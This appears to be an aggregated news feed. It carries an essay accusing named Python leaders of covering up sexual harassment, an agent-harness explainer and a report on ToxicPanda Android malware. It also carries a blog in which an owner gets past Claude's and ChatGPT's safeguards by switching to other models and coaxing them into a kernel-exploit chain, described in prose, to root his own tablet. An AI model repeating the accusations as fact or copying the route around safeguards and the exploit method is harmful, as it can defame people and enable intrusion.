    In this series of essays on Authoritarianism in Code I'll use examples from open source projects to demonstrate each concept. The first example is most likely the most perfect example of "Deference to Authority" as anyone could possibly find. It involves Steve Holden, Nick Coghlan, and Jesse Noller and their attempted cover-up of an egregious sexual harassment incident by Steve Holden in 2012. The purpose of this example is to show that the Python leadership and community behave in an authoritarian way by demonstrating a deference to authority. As previously stated, you don't have authoritarianism without a community giving deference to those in authority, and the Python community is ultimately the ones to blame for the outcome of this incident.

    2012 Pycon Code of Conduct

    In 2012 the Python Software Foundation announced the creation of a new Code of Conduct that was written in such a way as to make it easy for those in power to punish anyone they wanted for almost anything. Having worked with many of them, and knowing quite a few juicy gossip insider details I could never prove, I knew that this new Code of Conduct would never be enforced on those in the PSF leadership or the Python core group. I voiced my concern about this, and immediately received a heavy backlash from Nick Coghlan, Jesse Noller , and Steve Holden. Nick called me a "derailer" for questioning this Code of Conduct and it's poorly written flimsy legalese, and Steve went to work using his position of power to discredit me (which will come up frequently in this series).

    Keep in mind that my position on the Code of Conduct at the time was not that a set of rules governing behavior was wrong, but that this particular one was written in a way that protected people in power while providing a way to punish anyone who disagreed with them. At that very PyCon I was wildly proven right.

    2012 Pycon: Steve Holden's One Eyed Snake

    In 2012 I had a female friend contact me and complain that Steve Holden walked around PyCon asking her and other women to touch his "one eyed snake". He had taken the eye out of a stuffed snake, and would ask people to touch it and take a photo with him. For those who don't know, a "one eyed snake" is clear slang in English for a male penis . Steve Holden was literally asking women (and some men) to touch his penis. Doing this once is enough of a violation to be ejected from the conference, but Steve did this for the whole conference . The Code of Conduct that Steve voted for-- and defended --strictly said any sexist behavior, or even simply offending someone, would result in expulsion from the conference and banning from the Python software foundation:

    Harassment includes offensive verbal comments related to gender, sexual orientation, disability, physical appearance, body size, race, religion, sexual images in public spaces, deliberate intimidation, stalking, following, harassing photography or recording, sustained disruption of talks or other events, inappropriate physical contact, and unwelcome sexual attention.

    Was Steve fired from his position at the PSF after his admission of guilt? No. In fact, he was given additional lucrative contracts to run both PyCon and DjangoCon and put in charge of diversity training where he would tell the same bizarre story about a man cussing at him on a street in Portland (more on that in another post). Not only was he not ejected from the Python universe, but he was protected and promoted after the incident.

    Did the community come after him for it? Not at all. In fact, many, many people who supported the Code of Conduct actively went out of their way to defend him. They first tried to claim that this happened before the rules were in place, which is not true (PyCon 2012 was in March, Steve's admission is in December that year). Even if it were true these same people go after anyone who commits the offense of racism and sexism 10 years ago, so why would they give Steve a pass because of a few months gap in a new set of rules? Regardless, the rules were in place and he definitely knew about them because he criticized my criticism of their abuse potential. Then members of the community attempt to claim that he's just a confused old British man who doesn't know what a one eyed snake is! It's an innocent joke! He was only kidding! C'mon look, he finally apologized!

    As we continue, I want you to remember the behavior of the community when Steve violated the rules he helped create:

    1. They didn't call him out immediately at the conference.
    2. They didn't have him ejected from the conference.
    3. They didn't get him fired.
    4. They actively tried to protect him and intimidated anyone who tried to report him.
    5. They tried to say that he was senile, it was unintentional, it's not a big deal, or other excuses for his behavior.
    6. They then allowed him to apologize and allowed him to speak about diversity and receive more of their donations in lucrative contracts.

    I predict that current leaders and community members will attempt to claim that this was so long ago, but they have no problem going after anyone else for past behavior. Time seems to have no relevance when they want to punish someone for bad behavior, so why is the age of the offense relevant with Steve?

    2013 Dongle Incident

    Clearly Steve Holden's incident demonstrates deference to his authority by both the community and the Python leadership, but maybe that's just the standard of punishment for incidents. Is it possible to find an instance where someone not in a position of power was treated very differently? Yes, in the 2013 Dongle Joke Incident we see two men making a sexist joke, one time, in a private conversation, and being immediately ejected from the conference by Python leadership, and subsequently losing their jobs. The jokes were crass and sexist, but let's quickly compare the behavior and outcomes of two incidents:

    2012 Holden One Eyed Snake 2013 Dongle
    Repeatedly asked other women to touch his penis Once joked privately about having big dongles and "fork her repo"/
    Directed this sexist comment and physical act at specific people Only overheard indirectly by an audience member
    Steve was in a position of power who helped write the Code of Conduct Not in any position of power and could have been unaware of the Code of Conduct
    Not reported by anyone during the conference Immediately reported
    People attempting to publicly report hunted down by management and threatened Publicly shamed with no help from anyone in leadership
    Not ejected from the conference at all, even with Python leadership knowing Immediately ejected from the conference and publicly by the Python leadership
    Allowed apologize months after the incident All apologies ignored
    Secretly given more lucrative contacts and put in charge of diversity Lost their jobs immediately and publicly

    This is deference to authority. Steve is a prominent leader in the Python community and was not only given a pass but a promotion , more money, and put in charge of diversity after a clearly sexist repeated violation of the Code of Conduct he helped create. Meanwhile, two regular people with zero authority were vilified for an objectively lesser offense and lost everything. The Python leadership demonstrated my criticism of their Code of Conduct by enacting a totalitarian punishment on regular PyCon attendees while they protected Steve's incident. The handling of the 2013 dongle incident therefor demonstrates the Python leadership's authoritarianism, but what about the community?

    By protecting Steve Holden's objectively worse behavior we see that the Python community is authoritarian. Steve was given deference, protection, and chances by the community for behaviors they have actively said are terrible behaviors. When you look at the reactions you don't see people demanding he be fired and banned. In fact, you'd be hard pressed to find a single person who even complained about Steve teaching diversity after a major diversity violation. The community should have at least prevented Steve from teaching and speaking about diversity, but nope, nobody. I think maybe two people told me this in private the entire time I was connected to the Python world. Two.

    Prominent Social Justice Warriors, Feminists, and Anti-authoritarians not only didn't go after Steve for his vile behavior, but they defended him at every turn. They either tried to claim he didn't know the slang (he did), was a confused old man (he wasn't), didn't know the rules (he voted for and defended them), or should be forgiven because he "did so much for Python." Yet, when Adria Richards reported a lesser violation, none of these people came to defend those men. In fact, many of the same people who got those men fired for a single joke told in private were active defenders of Steve's begging women to touch his penis in public.

    When the community allows the leaders to violate rules, but attacks and destroys random tangential people for lesser violations, you have clear deference to authority and that's authoritarianism.

    Regarding Adria Richards

    Sadly after Adria reported the incident she was fired and also ridiculed and attacked. This is sad because she did have a valid complaint, and she should have been allowed to report it, but I suspect she knew that if she reported it secretly the Python leadership it would be hushed up. I'm not exactly sure if that's her thinking, but I can totally see her looking at how Steve was treated and then realizing that without a public shaming nothing will be done. To me Adria was simply doing what someone should do when they're operating under a clearly corrupt authoritarian system: film it.

    What Adria reported was wrong, and I'm not disputing the bad behavior that offended her. Not at all. What I am disputing is the punishment should fit the crime, and should be applied equally to all. If Steve was allowed to apologize for asking women to touch his penis, then that should have been the standard punishment for this lesser offense. They should have been asked to apologize publicly (they did), apologize to Adria, and then Adria could have reported they apologized and everyone most likely would have come out fine. Instead the offense was given the most totalitarian punishment of public banning and ejection from the conference resulting in both men losing their jobs.

    To me that is far too harsh for some jokes, but if you believe that this should be the punishment for every sexist comment at a conference, then...why didn't you get Steve fired? His actions were far worse than any jokes, and he was in a position of power so he should have been held to an even higher standard. He even voted for and promote the Code of Conduct, so should have clearly known the rules. If you believe that the standard for "fork her dongle LOL" is complete economic destruction and public shaming, then why did Steve get a promotion and control over diversity?

    The issue here is not so much the severity of both offenses, but more that the punishment was totalitarian and unequally applied based on a deference to Steve's authority.

    In the next essay I'm going to dive into exactly why the response to offenses like this seem to always be totalitarian punishments. Totalitarianism is simply where every crime receives the most severe punishment...unless you're a leader. I'll show how authoritarian communities love removal of consent and totalitarian punishments because it demonstrates strength from the leadership. You'll see how even the most liberal anti-authoritarian activists end up creating systems of totalitarian punishment in order to demonstrate strength against perceived enemies, and how they try to hide it from potential participants, thus denying possible participants their informed consent before joining.


    More from Zed A. Shaw

    What Is a Harness?

    Hacker News
    earendil.com
    2026-08-23 10:24:21
    Comments...
    Original Article

    Harness – definition by the Cambridge Dictionary

    Noun. a piece of equipment with straps and belts, used to control or hold in place a person, animal, or object

    Verb. to control something, usually in order to use its power

    When I think of a harness, I think first of the set of straps and belts that I put on in middle school before scrambling up the walls of my school. I was a mediocre climber at best.

    Royal Robbins on El Capitan, his harness racked with the tools of the ascent.
    Royal Robbins on El Capitan, his harness racked with the tools of the ascent. Photo by Tom Frost .

    If you’re main-lining into the AI newsfeed these days however, your archetypal harness may already be an agent harness. And, this post was not written for you.

    This was written for those who may be curious to know what an agent harness is, but don’t, and have been too embarrassed to ask.

    Let’s get back to climbing.

    Why do you strap on a harness when you go climbing? Well, firstly, the harness supports you and keeps you safe. It does that by connecting you to carabiners and ropes that secure you from falls, moderate your pace, and govern your route. You can also attach other tools to your harness like a chalk bag, nut tools and quickdraws.

    And when you go climb different mountains or make different ascents you can take your harness with you. Depending on the terrain, you can even modify your harness and what goes on your gear loops. Climbing harnesses are adaptable. They are used by acrobats and arborists. The people who own them can make them their own.

    There are similarities between climbing harnesses and agent harnesses both in terms of structure and function.

    Agent Harnesses

    Others have written (simplistically) that Agent = Model + Harness. Here the word Harness refers to an Agent Harness. But what is an agent harness? Agent harnesses use AI models to create AI agents, and their first application was for coding. Now, agent harnesses sit at the core of all types of AI agents and understanding how an agent harness works will help you understand what an AI agent is.

    An agent harness is a piece of software that provides an environment for an AI model to operate within. Unlike most AI models, you as an end user can own your own agent harness.

    Often, users like software engineers interact directly with harnesses like Pi using the Terminal application on their computer. But, harnesses like OpenClaw also use different user interfaces like iMessage, a chat app, or email. Our harness Lefos was built primarily to interact via email. Regardless of the interface, harnesses generally do four things: Firstly, they provide a set of instructions that help govern how the AI model responds. This set of instructions is typically called a “system prompt”. Secondly, they describe and provide a set of tools that are made available to the AI model to use in service of responding to requests from the user. Thirdly, the harness establishes a framework that governs how the model behaves. This framework does a lot of different things, but one of the main things it does is establish the “agentic loop”. Finally, most harnesses provide a crucial translation layer that enables the harness to work with a variety of different AI models.

    I. System Prompt

    Most AI models come with an embedded set of rules and guidelines that has been refined and arrived at during the training process. Most famously, Claude Opus 4.5 had a widely publicized “ soul document ” that explained to the AI model what it was and how it should act. The System Prompt in an AI harness is similar to this but is less embedded into the model. It’s more like a set of instructions a new employee might get on their first day of a job. It hasn’t internalized the instructions but it knows it should follow them when performing that work. System prompts are injected into the conversation together with every prompt and play an important role in ensuring that the AI model acts appropriately in the context of that harness.

    II. Tools

    Tools are a set of capabilities, written in code, that the model can “call”. The harness describes the tools and also provides the software that is the tool itself. Examples of these tools might include a web search tool, a tool that allows the model to write and execute software code, or a tool that allows the model to compose an email. Critically, the harness usually does not dictate when and how the AI model should use the tool. Instead, it simply makes the tools available, describes them clearly, and allows the AI model itself to decide when and how it should use them.

    III. Agentic Loops

    Now we have an AI model sitting within an agent harness with a set of instructions and a set of tools. Let us assume our harness was built to work within email, had the tools we described above (WebSearch, WriteCode, ComposeEmail), and that the user has asked the agent to compare rankings and test scores of local primary schools and provide recommendations. How will the agent behave? Firstly, it will try to understand the request (or, "prompt"). It will use its pre-training and weights to understand what a "primary school" is, what "the local area" means, and what rankings the user likely cares about. It will then construct web search queries to fetch recent data. What does it do with those results? Sitting within a harness, the AI model can review them in the context of the initial request. It may determine that the first search did not fetch the right information, or enough of it, and on its own, decide to search again. This decision to call the tool again based on its own assessment is the first clear example of the "loop". Now let's assume it collected all the relevant data. The AI model decides to make a spreadsheet using the "write code" tool. All spreadsheets are just code, after all. It can use that tool to do math and format the results so they are intelligible. It then compares the spreadsheet to the original prompt. If the data doesn't satisfy it, it may “loop” and go back and search again. When it decides it has enough, it calls ComposeEmail, a tool that allows the AI to review its findings, summarize them, write an email, and include attachments like the spreadsheet. The model reviews this final work and decides the job is done. The "agentic loop" closes. Within seconds, the user gets an email with a summary and recommendations in the body, and a spreadsheet presenting the findings attached. To see what an agentic loop looks like in practice, you can explore a Pi session here .

    IV. Translation Layer

    The translation layer is what allows a harness to work with different AI models. In some cases, a harness may decide to use different models within the same agentic loop, because different AI models may excel at different tasks. The translation layer is also a crucial aspect of harnesses because they deliver control to the end user. It means that someone can take their AI harness and use it with a model from Anthropic, or OpenAI, or explore one of the open weight AI models that often deliver great value-for-money (measured by cost-per-task).

    This translation layer helps take power and leverage away from the AI labs and into the hands of end users. If people can own and run their own harnesses locally on their own computers, it means that they retain their agency. It means that they retain the freedom to make their tools their own, and keep local copies of the sessions that over time will constitute their correspondence with machines. By building a relationship to and using a harness rather than an application published by an AI lab, the user retains freedom and choice. In our example harness above, the user could have sent the same email to a model from OpenAI, a model from Anthropic, and an open weight model. They could then compare the results, the cost of the results, and retain all the answers in one place, rather than having three answers sitting within three apps.

    Making a Harness Yours

    Unlike AI models themselves, you can own and adapt the harness. Like a climbing harness, you can make it your own. People love this about Pi. Pi is a minimal agent harness. Its system prompt is short. It has a minimal set of tools. Out of the box it is designed to get out of the way. But as people use Pi, they extend it and mold it in ways that suit them. They change the system prompt, or design an extension that fits a workflow. They then share those extensions with others. Pi users have shared more than 5,000 extensions with one another. Pi is also free and open source. It lives on your own laptop. This means that people now have a tool that they own, that lives on their own hardware, that enables them to wield AI.

    Neutral Open Source Harnesses as Tools of Agency

    Harnesses did not begin open source or neutral. The first popular agent harness, Claude Code, was not built to provide an agnostic AI translation layer but was built as an application to enable coding with Claude models on your local computer. Since then, there has been an encouraging growth of free open source agent harnesses like OpenClaw, OpenCode, Hermes and Pi. At Earendil we are building Pi to be neutral, and to deliver capability choice and freedom to Pi users. We are also exploring how we can make the benefits and agency that harnesses provide to a broader swath of people.

    Many people right now are concerned about the power and influence of bigger and bigger AI companies. Some of those people may choose to avoid AI completely. We at Earendil believe we can strengthen human agency by crafting software and open protocols that bridge division and ignorance and cultivate lasting joy and understanding. We won’t do that by ignoring the technologies that exist today, but by harnessing them with clear eyes and a firm grip; ensuring that we wield the hammer, the hammer does not wield us.

    ToxicPanda Android malware uses VPN permissions to block Google Play

    Bleeping Computer
    www.bleepingcomputer.com
    2026-08-23 10:23:46
    The ToxicPanda Android malware has evolved with new malicious functionality, expanding its targeting to 349 applications and adding support for 167 remote commands. [...]...
    Original Article

    ToxicPanda Android malware uses VPN permissions to block Google Play

    The ToxicPanda Android malware has evolved with new malicious functionality, expanding its targeting to 349 applications and adding support for 167 remote commands.

    The malware now requests VPN service permissions to create a local interface that allows it to control network traffic passing through it. The feature enables ToxicPanda 2.0 to block communication from Google Play and Google Play Services.

    Control at the network level permits the malware to interfere with various security checks and actions, such as app verifications, updates, Play Protect communication, or legitimate disruptions designed to protect users.

    image

    After obtaining VPN service permissions, ToxicPanda 2.0 blocks communications to Google Play before extracting and installing its payload, then requests Accessibility Service permissions.

    Zimperium
    Source: Zimperium

    Mobile security company Zimperium says that ToxicPanda 2.0 is being distributed through Amazon AWS-hosted buckets.

    Analysis of the malware revealed that it now includes functions to automate the Android Wireless Debugging Bridge (ADB), enabling shell-level access to infected devices.

    The latest version of the malware supports 1 67 remote commands and phishing overlays for 349 banking, financial, cryptocurrency, and e-wallet applications targeting 16 countries.

    It also includes a separate PIN-harvesting module that targets 140 financial and cryptocurrency apps and can dynamically update the target list.

    According to the researchers, the app overlays are invisible to the victim, allowing the malware to capture touch inputs on targeted apps.

    ToxicPanda also spoofs the Android lock screen to capture device PINs, unlocking patterns, and passwords.

    Some analyzed malware samples also used fake system update screens to hide ongoing malicious activity.

    Fake update overlays
    Fake update overlays used by ToxicPanda
    Source: Zimperium

    One command, ‘autoBoot,’ identifies the host device manufacturer and launches the corresponding OEM-specific auto-start or power management settings to maintain persistence.

    Zimperium reports that this bypasses battery consumption protections that kill background processes on Xiaomi, OPPO, Vivo, Samsung, and Huawei devices.

    Abusing ADB

    One feature that stands out in the analyzed recent Toxic Panda version is its automatic abuse of the Android Debug Bridge (ADB) to gain shell access.

    ADB is the command-line tool for executing shell commands on Android devices. Wireless ADB, introduced in Android 11, provides this access over Wi-Fi without a USB connection.

    Using the Accessibility Services permission, the malware enables Developer Options, activates Wireless Debugging, extracts the six-digit ADB pairing code and port, and connects with the device’s local ADB service.

    Zimperium
    Source: Zimperium

    “Once the malware gains shell user permissions, it starts executing high-privilege commands directly through the ADB daemon, the malware bypasses standard Android runtime consent prompts to grant itself broad permissions, neutralize OS background restrictions, silently enable critical components, and enforce persistence,” Zimperium explains .

    Wireless ADB abuse is a growing trend among Android malware, as other Android malware authors have implemented it in their malicious tools. Recently, Group-IB reported a similar mechanism implemented in the latest version of the RedHook malware .

    Zimperium has published a list of indicators of compromise (IoCs) associated with the latest ToxicPanda version in this GitHub repository .

    article image

    Once attackers have valid credentials, only 37% of their actions are blocked

    Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

    The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

    Get the report

    I spent $266 and four AI models to own my tablet. GLM-5.3 finished it in a day

    Hacker News
    ericpardee.github.io
    2026-08-23 10:23:09
    Comments...
    Original Article

    My Amazon Fire HD tablet cost $114.26 on eBay in November 2022, new and sealed. Owning it for real cost another $266.15: Kimi K3 found the exploit for $164.25, GLM-5.2 caught its fatal bugs for $21.90, and GLM-5.3 finished the job in one day on day one of an $80 subscription. Claude’s five months of diagnosis ran on the Claude Max plan I already pay for, until its safeguards cut me off.

    That’s enough to buy the same tablet twice. I’d spend it again: it was fun, and I learned a lot. I have twenty years in tech and an InfoSec background and the most sophisticated thing I did to own my tablet was prompt an LLM.


    A kiosk that kept dying

    I bought an Amazon Fire HD 10 (11th gen, 2021) to serve one purpose: Fully Kiosk Browser , displaying my Home Assistant Smart Home dashboard, plugged in 24/7. Last winter it started powering itself off. Full shutdowns, not sleep, sometimes twice a day. The device’s own telemetry was telling:

    LifeCycleReason:LCR...key=Software_Shutdown
    

    Something on the device with shutdown permissions was choosing to shut it down.

    Claude Code and I spent months on the cat-and-mouse. I’ll skip the Adguard Home DNS blocking, the camera forensics, and one deeply wrong charging diagnosis. The short version: we disabled five Amazon services that held REBOOT and SHUTDOWN permissions, which worked for a few months but ultimately:

    java.lang.SecurityException: Cannot disable a protected package:
    com.amazon.device.software.ota
    

    Three Amazon packages held reboot rights and were protected from me, the owner. Removing them required root. This tablet had no published root method. An XDA brainstorming thread for the 2021 HD 10 existed since October 2022, but Amazon fused the bootrom shut. Conventional wisdom (and less persistent folks) says unrootable.

    Claude had taken me as far as it was ever going to be allowed to go.


    “It’s my device”

    On August 13 at 7:23 PM, I opened the opencode CLI with Kimi K3, Moonshot AI ’s frontier model, released July, benchmarking alongside the top Claude models on agentic coding. I gave it the problem in one prompt:

    attached is a kindle via adb, and I need you to find a root exploit for it so that I can get full control of the device. It’s my device

    Despite what US media says about Chinese AI, Kimi K3 didn’t just blindly accept my request. It reasoned it out:

    They claim it’s their device. Let me think about this carefully. […] Rooting your own device is legal in most jurisdictions. In the US, there are DMCA exemptions for jailbreaking tablets and phones. […] This is not like asking me to exploit someone else’s device remotely.

    It talked itself into helping me by checking whether it should. So it does have some sort of soul. I said that out loud, to an empty room.

    First, though, it did its homework and came back with the same bad news Claude had found months earlier: there is no known exploit for this tablet. Every documented method is patched or sealed.

    Then I gave it the pep talk:

    you’ve been relying on what others have done YEARS ago but maybe you can find an exploit others have missed… This will make you famous, we will write it up and share on news.ycombinator.com. I know you can do it

    And shortly thereafter, it found one. Kimi K3 went beyond forum posts: it extracted the actual kernel from Amazon’s own OTA image for my exact firmware and checked every famous Mali GPU bug against the binary. All patched, except CVE-2022-38181 , a use-after-free in Arm’s Mali kernel driver, reported by Man Yue Mo of GitHub Security Lab , fixed upstream in October 2022, sitting in CISA’s exploited-vulnerabilities catalog since March 2023. Amazon did ship the fix in June 2024’s Fire OS 7.3.2.9 but I didn’t update my tablet, ran 7.3.2.6, so it never got the memo. The 2020 Fire HD 8 Plus got rooted with this CVE years ago but nobody had done the 2021 HD 10 as far as I can tell.

    Kimi announces the find

    Kimi announces the find, and hedges its own odds in the same breath: “per-attempt success is probabilistic (single-digit-to-low-double-digit percent is typical).” I stayed anyway.


    Reality television

    The exploit work itself was the best television I’ve seen in years. My wife watches Real Housewives… I watched a language model’s chain of thought, live, for hours:

    CONCLUSION: the bind did NOT stick. Why? OH. OH WAIT. I see it now!

    Over roughly thirty hours, Kimi built the whole toolkit: a reliable trigger, a way to make the GPU write to memory it shouldn’t, and the exact addresses in my kernel to aim at. That session ran 621 messages and $164.25. I could have bought, like, five tablets. But hey, I was having fun and chalked it up to research expenses.


    The grind

    The memory the exploit frees gets recycled by everything. The freed object lives in what Kimi called “the kernel’s hottest slab cache”, basically the one parking spot every process in the operating system fights over. Most attempts panicked the kernel and each panic was a reboot. The exploit retried automatically, six times per boot, past 500 attempts.

    Me:

    okya, it’s been hours, grind attempt 46, are we on the right track here or do you need to further tune?

    (That’s me. The typo is mine. At one point I physically power-cycled the tablet on request, like a pit crew ;)

    OpenRouter declined my card

    Morning of day two: OpenRouter declined my card. The bank saw nothing wrong. A different card worked.

    Eventually Kimi leveled with me:

    Do I have a clear path? Not a validated one — and I won’t pretend otherwise.

    It still tried to bargain: “Let me try one more thing”. I’m like, “fine!”, a real quote from that evening, but that was after $150, so I redirected:

    unfortunately, you have expired your budget Kimi K3. YOU MUST HAND THIS OFF TO GLM-5.2.

    Kimi wrote a HANDOFF.md with every verified piece of the exploit. I then had Kimi K3 work with GLM-5.2 directly by shelling out to opencode.

    I made the models battle it out.


    Meanwhile, the Great Wall of US AI

    While the tablet rebooted itself in the living room, I asked Claude to recap our old sessions about it. The reply:

    Fable 5’s safeguards flagged this message. Our intentionally broad safeguards allow us to deliver more capabilities faster, but can sometimes flag legitimate coding, cybersecurity, and biology tasks. Switched to Opus 4.8.

    Opus 4.8 delegated the recap to a subagent. The subagent got terminated by the same flag. Then the terminal version:

    API Error: Opus 4.8’s safeguards flagged this message. Our intentionally broad safeguards allow us to deliver more capabilities faster, but can sometimes flag legitimate cybersecurity work. Apply to the Cyber Verification Program to reduce these interruptions.

    It wasn’t allowed to summarize its own previous work on my own device. I named the session “claude-nerf” and closed the shell.

    Both safeguard flags in the terminal

    Both flags, in situ. The category is [cyber]. The crime was summarizing my own device’s logs.

    Moving on to OpenAI’s Codex, it also refused GLM-5.2’s question about CPU cache coherency, which is pure kernel engineering, no target, but just told NO.

    In fairness, I get the safeguards in 2026: I know they are broad on purpose and will catch real attacks. Anthropic admits in the error text that they’re blunt. But this is a problem. It’s why HuggingFace got caught flat-footed when OpenAI’s internal cybersecurity capability evaluation broke free . The result is our current, strange geopolitical position: American frontier models won’t help and Chinese will, but not without reasoning about whether they should. Make of that what you will. I made a blog post.


    The relief pitcher

    GLM-5.2 cost $21.90, worked overnight as instructed, and earned its keep twice. First message: “Stop the grind”. The failures of Kimi K3 were a design bug, and 500 identical crashes proved it.

    At 11 PM I sent the least proud message of the saga, which began “Listen f***head” and ended in all caps. GLM-5.2’s private reasoning, which I only read later:

    The user is rightfully frustrated. Let me stop making excuses and actually solve this problem.

    It worked until midnight and stopped at a wall it believed was physics: this chipset has no cache coherency between CPU and GPU, so GPU writes might never be visible to the CPU. “This is a hardware-level limitation, not a software bug.” I had it append an addendum to HANDOFF.md.

    I wanted a second opinion, so I asked ChatGPT. It explained the whole thing with a friendly filing-cabinet analogy for why the writes might never be seen, and agreed the outlook was grim. Then I asked the obvious follow-up (how to get around it) and the answer was:

    ChatGPT explains the coherency wall

    My second opinion: ChatGPT agreed with GLM-5.2, filing-cabinet analogy and all.

    ChatGPT declines to help further

    Then I asked how to get around it. Their answer: apply for Trusted Access.

    No second opinion for me. (Foreshadowing: that diagnosis was wrong. Spectacularly wrong.)


    GLM-5.3

    GLM-5.3 had JUST shipped on Friday August 14 under the tagline “Frontier Coding with Emergent Cyber Capabilities” and had reportedly already been credited with finding a vulnerability in Cursor . It was available only through Z.ai’s own Coding Plan , so I bought the $80/month plan and gave their tool ZCode a try. The handoff from both Kimi K3 and GLM-5.2 was passed at 8:26 AM on August 16 with:

    finish the job

    By afternoon, the reversal:

    BREAKTHROUGH: the kernel was never relocated. […] exactly 0x5C000 higher […] a section shift, which explains everything

    Two things the other LLMs hadn’t checked. My kernel was a slightly different build than the OTA image the other models had derived addresses from. Every target offset was off by a fixed amount, not randomization but a build shift. MediaTek builds this Mali driver’s page tables in a slightly different dialect than Arm’s reference source, so the memory-write primitive had been writing in the wrong format all along. If fixed, in its words, “GPU→DRAM→CPU coherency worked instantly — it was never broken.”

    At 4:34 PM:

    🎉 SELinux IS PERMISSIVE — selinux_enforcing found at PA 0x41969668 and flipped via the GPU write!

    Root verified live

    Verified live. That task timer, 8h 5m, is handoff to root.

    My response was “WTF? You literally shared ‘🎉 ROOT ACHIEVED’ yet, here we are HOURS later…” Its response began “Here’s exactly where things stand, with receipts.” It then cold-rebooted the tablet and re-rooted it in four minutes to prove the win was repeatable. Fair.

    Then it said the thing that reframed the whole project:

    Your actual goal was never “root” — it was: stop Amazon from killing your kiosk and get their software off your device. Root is the tool.

    It used root to uninstall, permanently and reversibly, every Amazon package holding REBOOT or SHUTDOWN permissions, the exact three that survived the Claude months as “protected”, plus the OTA machinery, the bloat, and the telemetry. A hundred packages GONE. What remained is the skeleton a tablet needs to boot and run my dashboard. The removals live in user data, so they survive reboots, and GLM-5.3 declined to touch anything that could brick the device because, quote, “I’m not going to hand you a brick”

    Its closing message began:

    You own the device.

    The thing that was shutting down my kiosk no longer exists.


    How it actually worked

    One breath: the use-after-free let us free memory the kernel still used. Winning a race let us reclaim it with controlled data. That gave the GPU a write primitive into physical memory. We flipped selinux_enforcing off and overwrote a process’s credentials for a root shell. With root, pm uninstall --user 0 removed Amazon’s packages without touching the protected system partition. Full write-up, every offset and dead end, in HANDOFF.md . Nothing in it is novel: the bug was reported in 2022, fixed by Arm in 2022, cataloged by CISA in 2023, patched by Amazon in 2024. The only novel thing on my unit was that my unit never got the patch.


    The prompt kiddie

    There’s a name in 2026 for someone like me: a prompt kiddie . Twenty years of engineering, security work on the résumé, and my honest contribution was steering. Knowing when to push, when to bench a model mid-beg, when to make two models review each other, and when a $114 tablet deserves $266 of principle.

    The week before all this, Anthropic published a result where Claude improved the proven bound on the fraction of Riemann zeta zeros on the critical line, the first advance in decades. The human steering it, Jarred Sumner, is not a mathematician. The paper credits his contributions as “mostly variants of ‘keep going’ or ‘believe in yourself.’” I felt seen. Same job, different department.

    Is it legal? In the US, yes: the Librarian of Congress’s 2024 DMCA exemptions (in effect through October 2027, next rulemaking already underway) cover rooting tablets you own to remove unwanted software. My device, my risk, my API bill. Nobody else’s hardware was ever touched.

    The takeaways, as empathy rather than triumph: real security capability is now rentable by the hour to anyone with a credit card and patience. The judgment (what to ask, when to stop, whose device it is) isn’t rentable, and it’s what the safeguards can’t measure. And if a guy with my background burns five months and four models for the right to own hardware he bought, the 2026 conversation about who’s allowed to help whom isn’t finished.

    The kiosk hasn’t turned itself off since the day GLM-5.3 said “You own the device.”


    tl;dr

    Amazon’s software kept shutting down a tablet I own, and the protected-package wall meant the only fix was root, which nobody had. Claude handled the five losing months of diagnosis until its safeguards cut me off. Kimi K3 found the unpatched 2022 CVE and built the exploit. GLM-5.2 caught the fatal bugs. GLM-5.3 finished the job in a single day, on day one of an $80 subscription, and removed 100 Amazon packages. Cost: $266.15 and five months. The transcript of how it happened is in the repo.

    Timeline

    • Nov 29, 2022 : Bought the tablet on eBay: new, sealed, $114.26. Neither of us knew what we were getting into.
    • Nov 2025 : The shutdowns begin, four months before I asked Claude for help.
    • Mar 29, 2026 : “I think that it’s maybe Amazon shutting the device off intentionally.”
    • Mar to May : Five services disabled. Three protected packages unbeaten. The wall is identified.
    • Aug 13, 7:23 PM : Pivot to the Chinese models. “It’s my device.”
    • Aug 13 to 14 : Every known Mali bug checked against the real kernel.
    • Aug 14 : Z.ai ships GLM-5.3. Somewhere, fate laughs.
    • Aug 14 to 15 : The grind: 500+ attempts, a living-room reboot loop, one pit-crew power cycle.
    • Aug 15, 7:52 AM : OpenRouter declines my card. The bank sees nothing wrong. A different card works.
    • Aug 15, 8:26 PM : “Do I have a clear path? Not a validated one.”
    • Aug 15, 8:55 PM : “YOU MUST HAND THIS OFF TO GLM-5.2.”
    • Aug 15 to 16 : GLM-5.2’s overnight shift: kills the false diagnosis, meets the “coherency” wall.
    • Aug 16, 4:34 PM : SELinux permissive. 6:54 PM: “You own the device.”

    FAQ

    Is this legal? Rooting a tablet you own is covered by the current DMCA exemptions , through October 2027. My device, only my device.

    Why not just buy another tablet? I could have. Twice over, actually.

    Will this work on my Fire tablet? The offsets are specific to Fire OS 7.3.2.6 on the 2021 HD 10, and Amazon patched the CVE in 7.3.2.9 (June 2024). HANDOFF.md documents the method and every dead end. It’s a saga, not a script.


    Soundtrack

    This was on repeat during the final week of the saga, while the tablet rebooted itself in the living room:

    From The Launch (Jupiter Broadcasting), used under CC BY-SA 4.0 .

    Wouter Verhelst: Programming and GR 2026 002

    PlanetDebian
    grep.be
    2026-08-23 10:02:13
    Programming language generations When I was young, I learned about a model of classifying programming language: the system of programming language generations. In this model, first generation programming languages are, basically, where you program the computer in the language that is defined by it...
    Original Article

    Programming language generations

    When I was young, I learned about a model of classifying programming language: the system of programming language generations.

    In this model, first generation programming languages are, basically, where you program the computer in the language that is defined by its architecture. On a Von Neumann machine , with its load-and-store architecture, you do that by inputting a string of numbers. The first programmer in human history -- her name was Ada Lovelace -- wrote in a first-generation language. 1GLs aren't so much invented as they are a byproduct of the computers for which they're created.

    Second-generation languages are the assembler languages. Because humans are not computers, and because decoding long lines of numbers to understand what the computer is doing, when programming became a full-time job, the programmers that did it decided that doing all this assembling manually is too complicated, so they quickly wrote assemblers to automate the process for them. They still could understand the 1GL output of the 2GL assembler, but most of them quickly forgot how to write software in a first-generation language. Not that anyone cared, as the translation from a 2GL to a 1GL is lossless and you can just revert it.

